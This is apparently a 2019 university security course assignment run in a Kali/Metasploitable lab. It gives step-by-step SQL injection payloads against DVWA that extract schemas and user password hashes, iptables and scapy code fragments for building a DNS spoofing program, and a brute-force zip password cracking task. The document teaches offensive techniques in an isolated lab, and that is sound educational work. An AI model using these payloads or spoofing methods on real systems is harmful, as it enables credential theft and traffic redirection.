Assignment

Due: 11:55 pm 3 November 2019
Total Mark: 100 (25% of Final Mark)

General Instructions: Please read the following instructions carefully.

- You must create a folder (directory) for each question. – You will need to create seven folders named as Q1, Q2 and Q3.
- Answers for each question need to be saved in each folder.
- You need to have a VirtualBox installed on your personal laptop or desktop. In the VirtualBox, Kali and Metasploitable virtual machines must be installed.
- You will have to take several screenshots of the results if asked. Those screenshots will be checked thoroughly using hash checksum. If the same checksum will be resulted from any files submitted by two different students, all of them will get zero mark for the question it is concerned with. You can refer to the following site to learn how to take screenshots on various platforms: https://www.take-a-screenshot.org/
- At least 50% of the marks will be deducted if your programs for Q2 and Q3 are not working on the lecturer's computer.

Again, read the instructions for each question very carefully.

1. Further SQL Injection Attack (Total 20 marks)

Turn on Metasploitable VM. On Kali VM, open a browser and type Meatsploitable machine's IP to connect to DVWA. In the DVWA, change the "DVWA Security" setting to "low". Then go to SQL Injection section and complete the following tasks.

a) (4 marks) In the input field of **User ID**, type `' order by 1#`. You will not get any error. This means you have at least one column in the database. Instead of 1, try any other number, say 10 (i.e., `' order by 10#`. You will get an error this time. This means 10 is too big for the number of columns. Keep trying this way to find out the exact number of columns. How many columns are there? Your answer needs to be saved in `Q1-a.txt`.

From questions b) to f), the number of `null` = the number of columns -1.

b) (3 marks) Now enter `' union select null,…,null, schema_name from information_schema.schemata#` . Here, you will get all the database schemata in the system. (Roughly speaking, a database schema is an organization of data in a database.) Take a screenshot of your result and name it as `Q1-b.jpg`.

c) (3 marks) Now enter `' union select null,…,null, database()#` . This will give you a name of the schema you are using. What is it? Your answer needs to be saved in `Q1-c.txt`.

d) (3 marks) Now enter `' union select null,…,null, table_name from information_schema.tables where table_schema ='`answer from question c)`' #`. This will give you all the table names of the database schema you are using (the name of this schema is your answer for question c)). One of the table names is "users". What is the other one? Your answer needs to be saved in `Q1-d.txt`.

e) (3 marks) Now enter `' union select null,…,null, column_name from information_schema.columns where table_name ='users' #`. This will give you all the column names of the database schema you are using with table name 'users'. Take a screenshot of your result and name it as `Q1-e.jpg`.

f) (4 marks) In this question, retrieve first name of each user and a (hashed) password from the `'users'` table. The structure for this SQL injection is similar: `' union select … from users` (Note that you do not need to use "where" syntax in this case. Replace **…** with appropriate items.) Take a screenshot of your result and name it as `Q1-f.jpg`.

You can use other graphic file formats, but make sure that it can be clearly visible. Save all your files in the folder `Q1`.

2. DNS Spoofing (Total 40 marks)

Your task is to write a Python program to conduct DNS spoofing attack. For the concept of DNS spoofing, refer to the lecture slides Week 6. To complete this task, you should follow the instructions and assumptions given below. (Please note that the program that does not follow the instructions will result in significant deduction of marks.)

1) In this assignment, you assume the following scenario: *When a user sends a DNS request for a specific website, forward it to the right DNS server, get (capture) the response and modify the IP part of the response and send the modified response to the user.* You need to choose the specific website.

2) Assume that your program will be run on your Kali VM. You should use scapy and netfilterqueue modules. You should issue the following commands to use netfilterqueue on your Kali:

- `iptables -I OUTPUT -j NFQUEUE --queue-num 1`
- `iptables -I INPUT -j NFQUEUE --queue-num 1`

Your starting point is to use the Python code we wrote during the Week 7 Lab:

```
import netfilterqueue
import scapy.all as scapy

def callback(packet):
   scapy_packet = scapy.IP(packet.get_payload())
print(scapy_packet.show())
packet.accept()

q=netfilterqueue.NetfilterQueue()
q.bind(1, callback) # 1 is the queue number
q.run()
```

3) A scapy code to check whether a packet has a DNS response is: `scapy_packet.haslayer(scapy.DNSRR)`. Using this, display the DNS packet to look at a DNS Question Record (DNSQR) and DNS Resource (DNSRR) Record. The following figure shows an example of the DNS packet display.

```
\qd        \
 |###[ DNS Question Record ]###
 |  qname     = 'www.google.com.'
 |  qtype     = A
 |  qclass    = IN
\an        \
 |###[ DNS Resource Record ]###
 |  rrname    = 'www.google.com.'
 |  type      = A
 |  rclass    = IN
 |  ttl       = 184
 |  rdlen     = 4
 |  rdata     = '216.58.199.68'
ns         = None
ar         = None
```

In the above example, www.google.com is requested (`qname` in `\qd`) and the IP address (`rdata` in `\an`) is retuned.

4) To conduct DNS spoofing, you need to access to qname in multiple DNSQR's. This can be done using the following code:
`scapy_packet[scapy.DNSQR].qname #this will return a list of qname's`
You also need to modify rrname and rdata in DNSRR and assign this modified DNSRR to the current DNS packet's answer field (`an`). This can be done using the following code:
`scapy_packet[scapy.DNS].an = scapy.DNSRR(rrname=target_url, rdata=attacker_IP)`

As there can be multiples answers for a DNS query, you need to set `ancount` to one. This can be done using the following code:
`scapy_packet[scapy.DNS].ancount =1`

You also need to delete the length (`len`) and checksum (`chksum`) of each IP and UDP packet. (Otherwise, the program will not work as we have modified the DNS response, which will make the length and checksum different from the original packet and cause an error. Scapy will recalculate them.) The length of each IP packet can be deleted using the following code: `del scapy_packet[scapy.IP].len`

You should delete the checksum (`chksum`) of each IP packet and the same should be done for the UDP packet.

Finally, you need to replace the current packet with the one modified through Scapy. This can be done as follows:
`packet.set_payload(str(scapy_packet))`

5) [Important] Unfortunately, due to the hsts (http strict transfer security) feature of recent browsers, you may not see any webpage displayed on your browser. However, if you ping the target website, you should be able to see the ping requests go to the IP address, which the attacker sets. *Your program will be deemed successful if I ping the target website and see the ping request to be redirected to the different website, which you specify in your submission*. Submit your Python source code and readme file which explains how to run your program and what the target website is.

3. Zip Password Cracker (Total 40 marks)

Your task is to write a Python program to crack a password of the zip file provided in the assignment section in Moodle. The password is 8 characters long but always begins with "hack" followed by four numbers, respectively. Your program needs to output a file that contains a list of possible passwords, one of which is a correct one. Your program needs to be compiled and run correctly on Linux (preferably Kali). Submit your Python source code and readme file which explains how to run your program.

To complete this task, use the "`unzip`" command with an option to provide a possible password as a command line argument. (You need to figure out that option.) We observed that "unzip" deals with a wrong password in three ways:

Type 1 Error - "`Incorrect password`": A file in the zip file are not extracted.

Type 2 Error - "`Invalid compressed data to inflate`": A file for extracting the zip file was created, but the created file is empty (0 bytes).

Type 3 Error - "`bad CRC …`": A file in the zip file was created, but the content of the created file looks random.

If you use "subprocess" function in Python to test each password by decrypting the target file using "unzip", you may need to handle errors in the following way:

a) Type 1 Error: As "unzip" mostly outputs this error if the password is incorrect, passwords that bring out this error must be ruled out.

b) Type 2 Error: To handle this error, you must check whether the size of an extracted file is 0 byte or not. Passwords that cause this error to occur must be ruled out. (Note that you can get a name of the extracted file by clicking the zip file in Linux even before extraction. That is, a file name is not encrypted by a password.)

c) Type 3 Error: A password causing this error may have potential to be a correct one. You may put this one as a candidate password.

There are only a few candidate passwords. A hacker still needs to unzip the target file using those passwords one by one to find ONE correct password. However, this assignment just asks you write a program that outputs a list of candidate passwords. (One of them is a correct password.)

[Alternative Approach] If you want, you are allowed to use the "popen" function in Python to deal with the errors interactively. You may get the correct password by parsing the output of the "unzip". You may consider this direction if you are familiar with Python and "popen" function.

How to submit

Put your folders Q1,Q2 and Q3 to one folder named as your surname followed by your student ID number (e.g. John12345). And compress this folder to make one zip file. – Note that only **zip** format will be accepted and other format may result in zero mark for your assignment.

Submit your (zip) file through Moodle.